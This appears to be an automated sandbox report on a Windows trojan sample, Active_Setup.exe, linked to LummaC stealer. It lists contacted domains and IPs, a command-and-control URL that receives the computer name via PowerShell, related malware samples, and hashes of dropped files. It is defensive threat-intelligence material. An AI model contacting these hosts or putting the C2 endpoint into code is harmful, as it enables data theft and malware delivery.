https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cscasha2.ocsp-certum.com04	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000011.00000002.2104916640.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2164829131.0000000002DDF000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2167901217.000000007F42B000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000000.2174618227.00000000005C1000.00000020.00000001.01000000.0000000B.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000000.2192829193.000000000100D000.00000020.00000001.01000000.0000000D.sdmp	false		high
https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2110807205.000000000741A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.sectigo.com/Sectig	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2164829131.0000000002DDF000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2167901217.000000007F42B000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000000.2174618227.00000000005C1000.00000020.00000001.01000000.0000000B.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000000.2192829193.000000000100D000.00000020.00000001.01000000.0000000D.sdmp	false		high
http://www.info-zip.org/	BrightLib.exe, 00000032.00000002.2675907918.0000000039F75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0D	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dfgh.online	powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org0	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://michaeluno.jp/	BrightLib.exe, 00000032.00000002.2654227836.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2655205864.0000000001A30000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2655985495.0000000006265000.00000004.00000020.00020000.00000000.sdmp, is-NQ5E5.tmp.22.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compname=	powershell.exe, 00000011.00000002.2101571497.00000000031B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.autohotkey.comCould	BrightLib.exe, 00000032.00000002.2654160152.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000000.2612155337.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-NQ5E5.tmp.22.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.2104916640.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.37.128	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false
172.67.198.102	abberanteusz.click	United States	13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583033
Start date and time:	2025-01-01 16:43:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Active_Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/37@5/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 51% Number of executed functions: 45 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BrightLib.exe, PID 6540 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 8080 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:43:55	API Interceptor	1x Sleep call for process: Active_Setup.exe modified
10:44:00	API Interceptor	10x Sleep call for process: Bother.com modified
10:44:38	API Interceptor	4x Sleep call for process: powershell.exe modified
10:45:30	API Interceptor	1x Sleep call for process: BrightLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.37.128	re5.mp4.hta	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
172.67.198.102	UgHXEfw1uL.exe	Get hash	malicious	FormBook	Browse	www.tqmsn.com/bp31/?yzuD_Vc=dYRoo3nky2kJslTOXyYMUSO6KlsUnF/dNMvaUDa17L1Ra/qERalht2gc+usxG4dP6WW+&wdR=K48xltk0G0VLCVcp
185.161.251.21	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
klipvumisui.shop	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.128
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	#Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	GqjiKlwarV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.220.198
	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	104.26.13.60
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	104.21.64.1
	6a7e35.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGVJFQli_mKczqrYpzYk33dCMwBXQR8R8u2JajJsC51OFcIlRSs_l3i1d9MQf5ZYWuxV_Ytx1pTi2iUY6P97JH0U81	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGu732v1MZ_EelGtWldAkkdtYGfnD-GIQEN8fgQfvllyKpzr3-J0fwpuBZsUPy3J_TvPM8sfKRevcMTcDv6eAynng1	Get hash	malicious	Unknown	Browse	188.114.97.3
CLOUDFLARENETUS	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	GqjiKlwarV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.220.198
	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	104.26.13.60
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	104.21.64.1
	6a7e35.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGVJFQli_mKczqrYpzYk33dCMwBXQR8R8u2JajJsC51OFcIlRSs_l3i1d9MQf5ZYWuxV_Ytx1pTi2iUY6P97JH0U81	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGu732v1MZ_EelGtWldAkkdtYGfnD-GIQEN8fgQfvllyKpzr3-J0fwpuBZsUPy3J_TvPM8sfKRevcMTcDv6eAynng1	Get hash	malicious	Unknown	Browse	188.114.97.3
NTLGB	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
	kwari.arm.elf	Get hash	malicious	Unknown	Browse	80.4.160.37
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	82.31.53.184
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	62.31.100.59

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	Solara-Roblox-Executor-v3.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	Delta.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.198.102 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	over.ps1	Get hash	malicious	Vidar	Browse
	MatAugust.exe	Get hash	malicious	Vidar	Browse
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse
	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse
	AquaPac.exe	Get hash	malicious	LummaC Stealer	Browse
	0442.pdf.exe	Get hash	malicious	Remcos	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: over.ps1, Detection: malicious, Browse Filename: MatAugust.exe, Detection: malicious, Browse Filename: 6684V5n83w.exe, Detection: malicious, Browse Filename: vlid_acid.exe, Detection: malicious, Browse Filename: AquaPac.exe, Detection: malicious, Browse Filename: 0442.pdf.exe, Detection: malicious, Browse Filename: installer_1.05_36.5.exe, Detection: malicious, Browse Filename: @Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\k

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	505172
Entropy (8bit):	7.999597652757062
Encrypted:	true
SSDEEP:	6144:cWVHoV/BLyzDsJsV75ZDjl9qeCJgqGKI1ReRKtMMkNyFEHBN/hKCdmvQ6KmBRKSS:FHoV/LqrBlHYI1+rHBSCCjzJVESC
MD5:	5CB0D61DB0D40B252D9F7F51FDB1CBD8
SHA1:	C510E7162C6667D8CA97E18525160035204F97E6
SHA-256:	A218E21E943C7B44C91ED82F974083C4DA12D8DB53EFF095F42FA6442225182E
SHA-512:	771B1DA39CAA5B070B78CA3B71563693E8408BF97D95E06F29313ED2CC86E045D7D5D1E2DF1D827B9EAA661D24321955965C7E7AC8090A04154B38B2B636A17C
Malicious:	false
Preview:	R.(...^$t........{..).{np.8.....d1i..k.BZT!.`...#..R..}...i..E^uO..H....q.('My<#......4.F..Mm.9......uE.w...Ul..E.q:}n=i..>..k..1..y..!.7.1...d.l'...x=jY..69..ug.$..g..OuE..I....Vv_.:.ch .+.P..._.<.x.yd2^^...]M.b..XkgyF..d..(P..F?.R.ck....P~.>.S.5.`3....{=6.}.f..>d....bo5hf.5.\....?LU[I...G.o......\|.R.V.?..bb u....%f.'..s.!Nf...?.h;.....Ak.s.^...\].<..4b..T}..f....<..Y(./P.........'.9>....j~..;..........ybz....Vt..l.l:..8.4..l0...q.n.r.w.....1E......rP~.............o./J..:.....Y......i..[...M/G.#)...'...O........7a..F>....9.....L.....e..3....dJg.....7\|....@....]..Fx.ne.E.....;...@.l....O._...zZ!o..:b..c8.A....5..}2(..E.....>Ze... ."..q.........(...T...eG#...B....gm]d7.)..R*Y^< .,.j..erM.'&.I../d..Bs..s....Y.d.P.Hk0....\..y....).{......K.}S......k....2.....V.0..5.....E8\|..q...3n)&..{....d#&p~..U.....vj.%e..#u.h,0'h.1...VK.`...b.H.5..7.m.[c..x.......p.+;;........A"0..T..SO..gdYB..n..1...[1.A...>.l..(.k....'.8.O.2.H4'h#...?..&L...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Announces

Download File

Process:	C:\Users\user\Desktop\Active_Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.996644397842168
Encrypted:	true
SSDEEP:	1536:Umzd/TKyWCYerbqXOt+Xa/OiBmoIVw+lwqqeuDJ+aJ:TGymOUKWiBUjlwqqeCJxJ
MD5:	13AE0ABA62D91146879700E10BA45B36
SHA1:	C03832DB7A0E22B0550507055ACE4DA7EBBE9E66
SHA-256:	3378EB443645F3B8E86763AF577B8E5B8444A3678CD8387731DABFCAC75078BA
SHA-512:	299645A19CE11E45C16478E6E415B044704FAC4BB99612B5DB4E8A7C32208EB2DDB65B7FE125B6E417842B723BAECA468B6BE5F9CF2FAE4F8992DB4D3DEEBDFF
Malicious:	false
Preview:	@A...&lK..H.JiF...K....d8..J..m1=.cO...a...4`..o......ruxJ.zT....E..m..>..Cs.......E..:../..k.%.r......w...J.....jdU...;.U/..>H..q...`.......2.2.....o9KyO...e..=.{..<..`C.....`.[..8,'...Q[-jw^.$L...\|W).!........}o8...X..:.. (..6.I..`6.nvD^{W...j....}.8.#p;>..0...@9..An......`.@.Q.T...1U.\.Aw6:.'(aG\XB...h..h.............t...ri..zV.Zbk.l.'.../....t6A.8.\|!Kc.>....p#..^.W.J.........s...B.:K....X+[.mWI..........Tj.n. ..P..,.\.~J......].....\..5.s/.D.(..K.m.%.".oeBl.....2.....t.%.:.._1-..U.o........p..JX...5\.OHs.>\S..x`8>..a..eZ9....p.IfD..O7.m...<.>e.?....^..9.T..o.....'_pu...T7.\..^b.bl..$.~P...aL.R.\|.. ....pR.P!.\|....k..fi.9R?.m.r}=...~.Y..:..-....L...3MF.d.g.!.AMd......&?....u.a.`...%iZ........K+.0.hw4.;d...N.b.......5.I4.q..OK.....Kg.M..T3..<.t..8L..BW;..(:=.- ....#Y>68M.............{.9.W......g.ZM..am.vE.f....j..A..0.@.&....~.........T..38..].P...O.......~....D...d.:s...).\|c..~.....X......j...5.c.q.r^..YFT$/nb..6.......{...g.1i..%....b..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Britney

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	5.061082091819863
Encrypted:	false
SSDEEP:	384:e/mwftIQXoSpu88888888888888888888888888888zv888888NfU84444QnoooD:e/mex/SGKAGWRqA60dTcR4qYnGfAHE9U
MD5:	AFA6A3D83F00801C4B3311578BCAE66A
SHA1:	71ADE39F8E9E623CD218717BF1EAFC20DCFFCE13
SHA-256:	04F0D7335BDDD1859B46A787E18018E706CDD03D4E5D23210817CB66B7844E0F
SHA-512:	F64EE70722B5807B227C8F904160D612A19106C29A24055CF5CDADBE32CD3B0D01FA5060E67536A91B4A07C660ECC4EB919CE675672D66669EAEBDBDB9E6F09E
Malicious:	false
Preview:	........................................................................................................................r.............................................................................r.r...............r...............................................................................r.....r.r.......r...............................................................................................................r.r.r.r.r.r.r.r.......................................................r.r.r.r.r...........r.r.r.r.r.r.r.r.r.r.r...........................................................r.....................................................................k.....................m.m.m.m.m.m.m.m.m.m.m.....................................................m...............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Compound

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	3.237046753458285
Encrypted:	false
SSDEEP:	12:aUyGSG+fCtJfjEvadTfA43k66h1ICdC3v6clC1:aUyGS9PvCA433C+sCNC1
MD5:	CAB75AA7EF96126E7982AC42B524F522
SHA1:	49F5A73E2C1EDB1D196A3D42228EB9DB6ED82D3A
SHA-256:	E6632701DFAB2BDD78005999FB43EEC0DD640C7015301DB0CCF0E93B0CD64025
SHA-512:	870447BD757E235148DD535B68C2492EF645D0DFA98BBD7F37A4E6718DB82A84D9AADA4375297CEC898735D4E4F7986392C8A1DEF35443C6A38EC836F68E5EB1
Malicious:	false
